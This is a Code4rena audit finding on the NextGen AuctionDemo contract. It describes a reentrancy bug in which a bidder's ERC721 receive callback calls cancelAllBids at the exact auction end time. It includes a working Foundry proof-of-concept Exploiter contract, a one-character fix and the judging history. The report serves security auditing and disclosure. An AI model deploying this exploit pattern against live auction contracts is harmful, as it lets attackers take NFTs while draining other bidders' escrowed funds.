Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 208/243
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135
The claimAuction
function transfers the ERC721 indexed by the given _tokenid
to the highest bidder. However the safeTransferFrom()
function has a callback mechanism which could be exploited to hijack the control flow. While transfering a ERC721 the onERC721Received()
external function is invoked when the receiving address is a contract, allowing the attacker to re-enter the protocol's contract.
In this case an attacker can reenter cancelBid
of cancelAllBids
function to take back his bid after getting the NFT. If there is enough ETH in the contract (e.g. there are other running auctions) to pay the owner and refund other bidders the transaction will not revert.
The exploit is possible due to the require statements in the above mentioned functions.
In claimAuction
:
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && ...
In cancelBid
and cancelAllBids
:
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
If we call the claimAuction
function with exactly block.timestamp == minter.getAuctionEndTime(_tokenid)
we can bypass the two require statements.
pragma solidity ^0.8.19; import "forge-std/Test.sol"; import "forge-std/console2.sol"; import "../smart-contracts/AuctionDemo.sol"; import "../smart-contracts/ERC721.sol"; contract Audit is Test { function setUp() public {} function test_attack() public { // owner address owner = address(0x1); // bidders address addr1 = address(0x2); address addr2 = address(0x3); address addr3 = address(0x4); vm.deal(addr1, 10 ether); vm.deal(addr2, 10 ether); vm.deal(addr3, 10 ether); // attacker address attacker = address(0x5); vm.deal(attacker, 10 ether); vm.startPrank(owner, owner); MinterContract minter = new MinterContract(); Gencore gencore = new Gencore("gencore", "GEN"); AdminContract adminsContract = new AdminContract(); auctionDemo auction = new auctionDemo( address(minter), address(gencore), address(adminsContract) ); // set collection approval gencore.setApprovalForAll(address(auction), true); vm.startPrank(addr1, addr1); auction.participateToAuction{value: 1 ether}(0); auction.participateToAuction{value: 1 ether}(1); auction.participateToAuction{value: 1 ether}(2); vm.startPrank(addr2, addr2); auction.participateToAuction{value: 2 ether}(0); auction.participateToAuction{value: 2 ether}(1); auction.participateToAuction{value: 2 ether}(2); vm.startPrank(addr3, addr3); auction.participateToAuction{value: 3 ether}(0); auction.participateToAuction{value: 3 ether}(1); auction.participateToAuction{value: 3 ether}(2); vm.startPrank(attacker, attacker); Exploiter exploiter = new Exploiter(auction, gencore); exploiter.partecipate{value: 4 ether}(0); // warp to block.timestamp == minter.getAuctionEndTime(_tokenid) vm.warp(minter.getAuctionEndTime(0)); exploiter.claimNFT(0); // auction has been claimed assert(auction.auctionClaim(0) == true); // attacker get the NFT assert(gencore.ownerOf(0) == attacker); // attacker get back his bid assert(attacker.balance == 10 ether); // other bidders get back their bids assert(addr1.balance == 8 ether); assert(addr2.balance == 6 ether); assert(addr3.balance == 4 ether); // owner get the value of the attacker bid assert(owner.balance == 4 ether); } } contract MinterContract { function getAuctionEndTime(uint256 _tokenid) public returns (uint256) { return 1 days; } function getAuctionStatus(uint256 _tokenid) public returns (bool) { return true; } } contract AdminContract { function retrieveFunctionAdmin( address _address, bytes4 _selector ) public view returns (bool) { return false; } function retrieveGlobalAdmin(address _address) public view returns (bool) { return false; } } contract Gencore is ERC721 { constructor( string memory _name, string memory _symbol ) ERC721(_name, _symbol) { _mint(msg.sender, 0); _mint(msg.sender, 1); _mint(msg.sender, 2); } } contract Exploiter is IERC721Receiver { address owner; auctionDemo auction; Gencore gencore; constructor(auctionDemo _auction, Gencore _gencore) { owner = msg.sender; auction = _auction; gencore = _gencore; } function partecipate(uint256 auctionId) public payable { auction.participateToAuction{value: msg.value}(auctionId); } function claimNFT(uint256 auctionId) public { auction.claimAuction(auctionId); } function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) external returns (bytes4) { auction.cancelAllBids(tokenId); payable(owner).call{value: address(this).balance}(""); gencore.transferFrom(address(this), owner, tokenId); return IERC721Receiver.onERC721Received.selector; } receive() external payable {} }
Manual review.
Use < instead of <= in the cancelBid
and cancelAllBids
functions.
require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
Reentrancy
#0 - c4-pre-sort
2023-11-14T23:33:49Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:40:10Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:18:51Z
alex-ppg marked the issue as satisfactory